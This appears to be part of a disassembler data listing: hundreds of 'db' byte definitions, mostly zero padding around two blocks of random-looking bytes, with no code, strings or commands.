		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0E0h	; Ю
		db  33h	; 3
		db  13h	;  
		db  65h	; e
		db  68h	; h
		db    9	;  
		db 0E3h	; Ц
		db  3Fh	; ?
		db  4Dh	; M
		db  7Dh	; }
		db 0B2h	; ╡
		db 0CFh	; о
		db  8Dh	; █
		db 0E2h	; Б
		db  49h	; I
		db  21h	; !
		db  47h	; G
		db  2Eh	; .
		db 0ECh	; Л
		db  54h	; T
		db 0E3h	; Ц
		db  87h	; ┤
		db 0EEh	; Н
		db  84h	; └
		db  75h	; u
		db    6	;  
		db 0B6h	; І
		db 0BBh	; ╩
		db  8Ah	; ┼
		db  8Bh	; ▀
		db  36h	; 6
		db  91h	; ▒
		db 0A1h	; ║
		db 0E5h	; Е
		db 0A5h	; ╔
		db  55h	; U
		db  6Dh	; m
		db 0D5h	; у
		db  2Eh	; .
		db  73h	; s
		db  77h	; w
		db  82h	; ┌
		db 0FDh	; Щ
		db  42h	; B
		db 0D1h	; я
		db  50h	; P
		db 0EAh	; Й
		db 0B2h	; ╡
		db  8Dh	; █
		db 0B7h	; Ї
		db  51h	; Q
		db  9Eh	; ·
		db  2Ch	; ,
		db  34h	; 4
		db  98h	; ≤
		db 0BCh	; ╪
		db 0DAh	; з
		db  50h	; P
		db 0C8h	; х
		db 0F1h	; Я
		db 0D6h	; ж
		db  6Eh	; n
		db  86h	; ├
		db  12h	;  
		db  2Ch	; ,
		db  34h	; 4
		db  19h	;  
		db  87h	; ┤
		db  49h	; I
		db  79h	; y
		db  92h	; ▓
		db 0C2h	; б
		db  69h	; i
		db 0F8h	; Ь
		db 0D2h	; р
		db  4Ah	; J
		db  2Eh	; .
		db  91h	; ▒
		db  66h	; f
		db  8Fh	; ▐
		db 0FDh	; Щ
		db 0C7h	; г
		db  71h	; q
		db  2Dh	; -
		db  84h	; └
		db 0A7h	; ї
		db  57h	; W
		db 0EBh	; К
		db  52h	; R
		db  55h	; U
		db  23h	; #
		db 0CCh	; л
		db 0EDh	; М
		db  7Fh	; 
		db 0FBh	; Ш
		db 0E0h	; Ю
		db  1Ch	;  
		db  86h	; ├
		db 0F3h	; С
		db 0E1h	; А
		db  9Ch	; °
		db  20h	;  
		db  38h	; 8
		db  49h	; I
		db 0B4h	; Є
		db  13h	;  
		db  97h	; ≈
		db  34h	; 4
		db    1	;  
		db 0C1h	; а
		db  34h	; 4
		db 0DEh	; ч
		db  54h	; T
		db  6Ch	; l
		db  8Ch	; ▄
		db  9Ch	; °
		db  28h	; (
		db 0A8h	; ╗
		db 0A7h	; ї
		db  43h	; C
		db  66h	; f
		db 0BBh	; ╩
		db  2Dh	; -
		db 0F3h	; С
		db  64h	; d
		db 0CBh	; к
		db 0E3h	; Ц
		db    1	;  
		db 0FFh	;  
		db  74h	; t
		db  80h	; ─
		db 0E9h	; И
		db  2Eh	; .
		db  89h	; ┴
		db 0E3h	; Ц
		db  94h	; ■
		db  7Fh	; 
		db 0C1h	; а
		db  10h	;  
		db  92h	; ▓
		db  6Fh	; o
		db 0F1h	; Я
		db 0A8h	; ╗
		db 0D6h	; ж
		db  1Eh	;  
		db  28h	; (
		db 0A8h	; ╗
		db 0B3h	; Ё
		db 0BBh	; ╩
		db  7Ah	; z
		db  96h	; √
		db  40h	; @
		db  14h	;  
		db  15h	;  
		db  5Ah	; Z
		db 0EDh	; М
		db 0FBh	; Ш
		db  52h	; R
		db  99h	; ≥
		db  44h	; D
		db  1Eh	;  
		db 0B4h	; Є
		db  13h	;  
		db 0C3h	; ц
		db    9	;  
		db 0E6h	; Ф
		db 0AFh	; ╞
		db  16h	;  
		db 0A4h	; є
		db 0BCh	; ╪
		db 0A2h	; ╒
		db  1Fh	;  
		db  82h	; ┌
		db  11h	;  
		db 0F1h	; Я
		db 0B4h	; Є
		db  64h	; d
		db  12h	;  
		db 0FBh	; Ш
		db  74h	; t
		db 0C9h	; и
		db 0BAh	; ╨
		db  91h	; ▒
		db 0ABh	; ╚
		db 0D6h	; ж
		db 0C7h	; г
		db 0D6h	; ж
		db  35h	; 5
		db 0FFh	;  
		db  48h	; H
		db  8Eh	; ▌
		db  43h	; C
		db 0BDh	; Ґ
		db  19h	;  
		db  44h	; D
		db  65h	; e
		db  56h	; V
		db 0A6h	; і
		db 0C4h	; д
		db  10h	;  
		db  55h	; U
		db  5Eh	; ^
		db  68h	; h
		db  36h	; 6
		db  4Ch	; L
		db  55h	; U
		db  33h	; 3
		db  97h	; ≈
		db  86h	; ├
		db  49h	; I
		db 0ABh	; ╚
		db 0FEh	; Ч
		db  21h	; !
		db 0BDh	; Ґ
		db  0Dh	;  
		db  1Dh	;  
		db  49h	; I
		db 0FEh	; Ч
		db  3Ch	; <
		db  66h	; f
		db 0A4h	; є
		db  2Dh	; -
		db  98h	; ≤
		db 0A7h	; ї
		db  4Ch	; L
		db 0EAh	; Й
		db 0CBh	; к
		db  7Bh	; {
		db  0Ch	;  
		db  11h	;  
		db  9Eh	; ·
		db  8Ah	; ┼
		db  6Bh	; k
		db 0C5h	; е
		db  79h	; y
		db  47h	; G
		db 0A0h	; ═
		db 0C5h	; е
		db  5Fh	; _
		db  2Eh	; .
		db  0Eh	;  
		db 0D8h	; ь
		db  84h	; └
		db  44h	; D
		db 0F4h	; Т
		db 0A9h	; ╘
		db  1Ah	;  
		db  3Ch	; <
		db  20h	;  
		db  0Fh	;  
		db  73h	; s
		db 0ABh	; ╚
		db 0B1h	; ╠
		db  57h	; W
		db  6Ah	; j
		db 0A6h	; і
		db 0F7h	; В
		db  52h	; R
		db 0D7h	; в
		db  62h	; b
		db 0DCh	; э
		db 0A7h	; ї
		db  87h	; ┤
		db 0FFh	;  
		db  45h	; E
		db  45h	; E
		db  94h	; ■
		db  60h	; `
		db    4	;  
		db  66h	; f
		db  40h	; @
		db  2Fh	; /
		db 0A4h	; є
		db 0C1h	; а
		db  77h	; w
		db  5Dh	; ]
		db  37h	; 7
		db 0ACh	; ╛
		db 0C9h	; и
		db 0EFh	; О
		db 0D7h	; в
		db  66h	; f
		db 0E8h	; Х
		db 0F0h	; П
		db  95h	; ∙
		db  46h	; F
		db  74h	; t
		db  85h	; ┘
		db  8Ch	; ▄
		db  42h	; B
		db  81h	; │
		db  96h	; √
		db  6Bh	; k
		db 0FCh	; Э
		db 0A1h	; ║
		db  7Bh	; {
		db  7Ch	; |
		db  91h	; ▒
		db 0D7h	; в
		db  19h	;  
		db  3Ch	; <
		db 0F0h	; П
		db  7Bh	; {
		db  41h	; A
		db 0EBh	; К
		db  33h	; 3
		db  5Bh	; [
		db  91h	; ▒
		db 0F7h	; В
		db  15h	;  
		db  57h	; W
		db  5Fh	; _
		db 0AEh	; ў
		db  6Ch	; l
		db  8Fh	; ▐
		db 0FDh	; Щ
		db    8	;  
		db    7	;  
		db 0DBh	; ш
		db  8Eh	; ▌
		db 0ACh	; ╛
		db  25h	; %
		db 0B1h	; ╠
		db 0B7h	; Ї
		db 0E6h	; Ф
		db  5Ch	; \
		db  78h	; x
		db  5Bh	; [
		db  81h	; │
		db 0C6h	; ф
		db  56h	; V
		db 0DBh	; ш
		db 0EAh	; Й
		db  46h	; F
		db  6Fh	; o
		db 0EEh	; Н
		db 0BEh	; Ў
		db 0EEh	; Н
		db  4Eh	; N
		db 0D8h	; ь
		db  55h	; U
		db  53h	; S
		db  19h	;  
		db  3Ch	; <
		db 0DEh	; ч
		db  44h	; D
		db 0A2h	; ╒
		db 0C0h	; ю
		db  89h	; ┴
		db  73h	; s
		db  9Dh	; ²
		db 0BDh	; Ґ
		db  1Ah	;  
		db  76h	; v
		db  53h	; S
		db  19h	;  
		db 0D0h	; п
		db  99h	; ≥
		db 0CFh	; о
		db  4Bh	; K
		db 0C2h	; б
		db  9Eh	; ·
		db 0DEh	; ч
		db  39h	; 9
		db 0CEh	; н
		db  76h	; v
		db  0Dh	;  
		db  81h	; │
		db 0B1h	; ╠
		db 0BEh	; Ў
		db  70h	; p
		db 0EEh	; Н
		db 0ECh	; Л
		db  55h	; U
		db  2Eh	; .
		db  79h	; y
		db  60h	; `
		db 0F8h	; Ь
		db 0D5h	; у
		db  4Bh	; K
		db  9Dh	; ²
		db  6Dh	; m
		db 0F5h	; У
		db 0FBh	; Ш
		db  86h	; ├
		db  88h	; ┬
		db 0FBh	; Ш
		db  83h	; ┐
		db  5Ah	; Z
		db 0EFh	; О
		db  13h	;  
		db 0C5h	; е
		db  43h	; C
		db  8Fh	; ▐
		db  40h	; @
		db 0A4h	; є
		db  89h	; ┴
		db  33h	; 3
		db  3Fh	; ?
		db  43h	; C
		db  79h	; y
		db 0D3h	; с
		db 0FAh	; З
		db  5Ch	; \
		db 0F4h	; Т
		db 0CCh	; л
		db  58h	; X
		db  46h	; F
		db 0F8h	; Ь
		db  2Dh	; -
		db 0F8h	; Ь
		db  3Eh	; >
		db  7Fh	; 
		db  5Ch	; \
		db  41h	; A
		db  18h	;  
		db 0E8h	; Х
		db  15h	;  
		db  29h	; )
		db 0F4h	; Т
		db  5Ch	; \
		db  3Dh	; =
		db  8Bh	; ▀
		db  27h	; '
		db  5Fh	; _
		db  44h	; D
		db  6Ah	; j
		db  7Ah	; z
		db 0B5h	; ╣
		db 0DBh	; ш
		db 0F8h	; Ь
		db  70h	; p
		db    0	;  
		db  8Fh	; ▐
		db 0CAh	; й
		db 0ECh	; Л
		db    3	;  
		db 0D8h	; ь
		db  8Ah	; ┼
		db  34h	; 4
		db  7Ch	; |
		db 0E8h	; Х
		db 0B2h	; ╡
		db  45h	; E
		db  92h	; ▓
		db  8Fh	; ▐
		db    3	;  
		db  6Ch	; l
		db  8Ah	; ┼
		db 0DDh	; щ
		db 0BEh	; Ў
		db 0E0h	; Ю
		db 0DEh	; ч
		db 0C9h	; и
		db 0C7h	; г
		db  56h	; V
		db  7Dh	; }
		db 0ACh	; ╛
		db  0Eh	;  
		db  14h	;  
		db 0FAh	; З
		db 0D3h	; с
		db  2Ah	; *
		db  40h	; @
		db    8	;  
		db 0DEh	; ч
		db 0E0h	; Ю
		db  7Ch	; |
		db  67h	; g
		db  75h	; u
		db 0F7h	; В
		db 0D5h	; у
		db  0Ah	;  
		db 0BDh	; Ґ
		db 0F1h	; Я
		db  1Eh	;  
		db  22h	; "
		db 0BEh	; Ў
		db  92h	; ▓
		db 0B9h	; ╧
		db  1Fh	;  
		db 0FAh	; З
		db  87h	; ┤
		db 0A4h	; є
		db    4	;  
		db  9Dh	; ²
		db 0CEh	; н
		db 0A9h	; ╘
		db  6Fh	; o
		db 0C3h	; ц
		db 0D2h	; р
		db  24h	; $
		db  70h	; p
		db  6Fh	; o
		db  3Fh	; ?
		db  62h	; b
		db 0AFh	; ╞
		db  28h	; (
		db 0B0h	; ╟
		db 0EEh	; Н
		db  55h	; U
		db  78h	; x
		db  90h	; ░
		db 0D6h	; ж
		db  49h	; I
		db  3Eh	; >
		db 0D8h	; ь
		db 0DCh	; э
		db 0C5h	; е
		db 0FAh	; З
		db  4Eh	; N
		db 0ABh	; ╚
		db  1Ah	;  
		db  15h	;  
		db 0E7h	; Г
		db  6Bh	; k
		db  8Ch	; ▄
		db 0CDh	; м
		db  77h	; w
		db  7Dh	; }
		db  3Bh	; ;
		db  75h	; u
		db  0Ah	;  
		db 0B4h	; Є
		db    8	;  
		db 0F9h	; Ы
		db  0Ah	;  
		db  23h	; #
		db  36h	; 6
		db  98h	; ≤
		db  8Ch	; ▄
		db  27h	; '
		db  30h	; 0
		db  0Fh	;  
		db 0E5h	; Е
		db  71h	; q
		db  27h	; '
		db  22h	; "
		db  94h	; ■
		db 0D6h	; ж
		db 0E2h	; Б
		db    8	;  
		db  1Dh	;  
		db 0E6h	; Ф
		db  28h	; (
		db 0E9h	; И
		db 0F7h	; В
		db 0A6h	; і
		db  5Ch	; \
		db 0EEh	; Н
		db 0F2h	; Р
		db  3Ch	; <
		db 0B9h	; ╧
		db  61h	; a
		db  1Bh	;  
		db  2Bh	; +
		db  96h	; √
		db 0EBh	; К
		db  11h	;  
		db  1Ch	;  
		db 0B2h	; ╡
		db  48h	; H
		db  96h	; √
		db 0A1h	; ║
		db 0CBh	; к
		db  2Bh	; +
		db 0CEh	; н
		db  54h	; T
		db  71h	; q
		db 0F7h	; В
		db  34h	; 4
		db  30h	; 0
		db 0BEh	; Ў
		db 0BEh	; Ў
		db  7Bh	; {
		db  19h	;  
		db 0A3h	; ё
		db  26h	; &
		db 0E5h	; Е
		db 0ACh	; ╛
		db  29h	; )
		db 0E3h	; Ц
		db  8Ch	; ▄
		db 0D2h	; р
		db  74h	; t
		db  4Ah	; J
		db 0DEh	; ч
		db 0D5h	; у
		db  53h	; S
		db 0DCh	; э
		db 0B5h	; ╣
		db 0B3h	; Ё
		db 0E8h	; Х
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0C0h	; ю
		db  67h	; g
		db  2Ah	; *
		db  8Dh	; █
		db  4Eh	; N
		db  72h	; r
		db 0D4h	; т
		db 0E7h	; Г
		db  7Ah	; z
		db 0FEh	; Ч
		db  8Eh	; ▌
		db  90h	; ░
		db  1Eh	;  
		db  9Ah	;  
		db 0F8h	; Ь
		db  17h	;  
		db  41h	; A
		db    8	;  
		db 0EFh	; О
		db  54h	; T
		db  51h	; Q
		db 0E0h	; Ю
		db  54h	; T
		db  51h	; Q
		db 0BBh	; ╩
		db 0B1h	; ╠
		db  13h	;  
		db  29h	; )
		db 0E8h	; Х
		db  6Bh	; k
		db  50h	; P
		db  72h	; r
		db 0B1h	; ╠
		db  29h	; )
		db 0FBh	; Ш
		db  4Eh	; N
		db  57h	; W
		db  99h	; ≥
		db 0E5h	; Е
		db  46h	; F
		db  61h	; a
		db 0DAh	; з
		db 0F0h	; П
		db 0D3h	; с
		db  0Eh	;  
		db  6Ch	; l
		db  80h	; ─
		db 0BEh	; Ў
		db 0E5h	; Е
		db  6Ah	; j
		db 0B8h	; ╦
		db  93h	; ⌠
		db  5Eh	; ^
		db  15h	;  
		db  45h	; E
		db 0C2h	; б
		db  1Ch	;  
		db  59h	; Y
		db 0C0h	; ю
		db  34h	; 4
		db  7Ch	; |
		db  1Eh	;  
		db  7Eh	; ~
		db 0DAh	; з
		db  23h	; #
		db  48h	; H
		db  7Ch	; |
		db 0CEh	; н
		db  4Ch	; L
		db  1Fh	;  
		db  1Dh	;  
		db 0E8h	; Х
		db 0A1h	; ║
		db  8Bh	; ▀
		db  9Bh	; ⌡
		db  75h	; u
		db 0DFh	; ъ
		db 0BFh	; ©
		db 0D6h	; ж
		db  10h	;  
		db 0BEh	; Ў
		db  41h	; A
		db 0E3h	; Ц
		db  78h	; x
		db 0AEh	; ў
		db 0DFh	; ъ
		db 0C2h	; б
		db 0B2h	; ╡
		db  67h	; g
		db  6Bh	; k
		db    1	;  
		db  1Ah	;  
		db  7Fh	; 
		db  23h	; #
		db  0Fh	;  
		db 0CDh	; м
		db 0ABh	; ╚
		db 0BEh	; Ў
		db  3Dh	; =
		db  74h	; t
		db  25h	; %
		db  6Ah	; j
		db 0AFh	; ╞
		db 0D7h	; в
		db 0E6h	; Ф
		db 0B3h	; Ё
		db 0CAh	; й
		db  80h	; ─
		db  0Eh	;  
		db  2Eh	; .
		db  14h	;  
		db  27h	; '
		db  91h	; ▒
		db  95h	; ∙
		db  61h	; a
		db  11h	;  
		db  48h	; H
		db  23h	; #
		db  2Ch	; ,
		db    1	;  
		db  97h	; ≈
		db    0	;  
		db  87h	; ┤
		db  82h	; ┌
		db 0F9h	; Ы
		db  4Bh	; K
		db 0CBh	; к
		db  84h	; └
		db  9Ch	; °
		db  16h	;  
		db 0F8h	; Ь
		db  8Ch	; ▄
		db  2Fh	; /
		db    5	;  
		db  88h	; ┬
		db 0D4h	; т
		db 0E6h	; Ф
		db 0DDh	; щ
		db  68h	; h
		db  61h	; a
		db  17h	;  
		db  13h	;  
		db 0BCh	; ╪
		db    5	;  
		db    9	;  
		db  0Bh	;  
		db 0FFh	;  
		db  41h	; A
		db  9Ch	; °
		db 0ABh	; ╚
		db  54h	; T
		db  24h	; $
		db 0B2h	; ╡
		db  13h	;  
		db  76h	; v
		db  4Eh	; N
		db  30h	; 0
		db  1Ch	;  
		db  1Ah	;  
		db  7Bh	; {
		db  16h	;  
		db 0FEh	; Ч
		db  3Bh	; ;
		db  47h	; G
		db  2Dh	; -
		db  1Ch	;  
		db  44h	; D
		db  9Ch	; °
		db 0EAh	; Й
		db  6Ch	; l
		db  4Fh	; O
		db  81h	; │
		db  61h	; a
		db 0F0h	; П
		db  78h	; x
		db 0B8h	; ╦
		db  9Fh	; ÷
		db  65h	; e
		db 0EBh	; К
		db  41h	; A
		db 0AEh	; ў
		db 0C7h	; г
		db  30h	; 0
		db  0Eh	;  
		db  0Dh	;  
		db  7Eh	; ~
		db  94h	; ■
		db 0D7h	; в
		db 0CAh	; й
		db 0EBh	; К
		db 0A1h	; ║
		db  56h	; V
		db  95h	; ∙
		db  7Dh	; }
		db 0D9h	; ы
		db  4Dh	; M
		db  50h	; P
		db  30h	; 0
		db  21h	; !
		db 0CBh	; к
		db    9	;  
		db  83h	; ┐
		db  1Ah	;  
		db    7	;  
		db 0D5h	; у
		db 0ACh	; ╛
		db 0F2h	; Р
		db  2Ah	; *
		db 0C7h	; г
		db  8Eh	; ▌
		db  3Fh	; ?
		db  3Ah	; :
		db  37h	; 7
		db  82h	; ┌
		db 0FDh	; Щ
		db 0BCh	; ╪
		db  42h	; B
		db 0A8h	; ╗
		db  95h	; ∙
		db  32h	; 2
		db  4Dh	; M
		db  0Fh	;  
		db  28h	; (
		db 0C0h	; ю
		db  8Ah	; ┼
		db  61h	; a
		db 0F3h	; С
		db    4	;  
		db  4Fh	; O
		db  1Ah	;  
		db  81h	; │
		db 0B4h	; Є
		db 0A5h	; ╔
		db 0C3h	; ц
		db  6Dh	; m
		db  1Bh	;  
		db  7Ah	; z
		db  96h	; √
		db 0D3h	; с
		db  98h	; ≤
		db 0C8h	; х
		db 0B8h	; ╦
		db  15h	;  
		db  8Fh	; ▐
		db  38h	; 8
		db 0FEh	; Ч
		db 0DCh	; э
		db 0A0h	; ═
		db 0B2h	; ╡
		db  4Eh	; N
		db  45h	; E
		db    9	;  
		db 0B9h	; ╧
		db  38h	; 8
		db  87h	; ┤
		db  96h	; √
		db 0E9h	; И
		db 0C4h	; д
		db  10h	;  
		db  11h	;  
		db 0CCh	; л
		db 0D9h	; ы
		db  2Bh	; +
		db  0Ch	;  
		db 0CDh	; м
		db  97h	; ≈
		db  32h	; 2
		db  30h	; 0
		db 0ECh	; Л
		db  5Fh	; _
		db  65h	; e
		db 0B1h	; ╠
		db  25h	; %
		db    7	;  
		db 0AEh	; ў
		db 0E8h	; Х
		db  0Eh	;  
		db    9	;  
		db 0F4h	; Т
		db 0EEh	; Н
		db  19h	;  
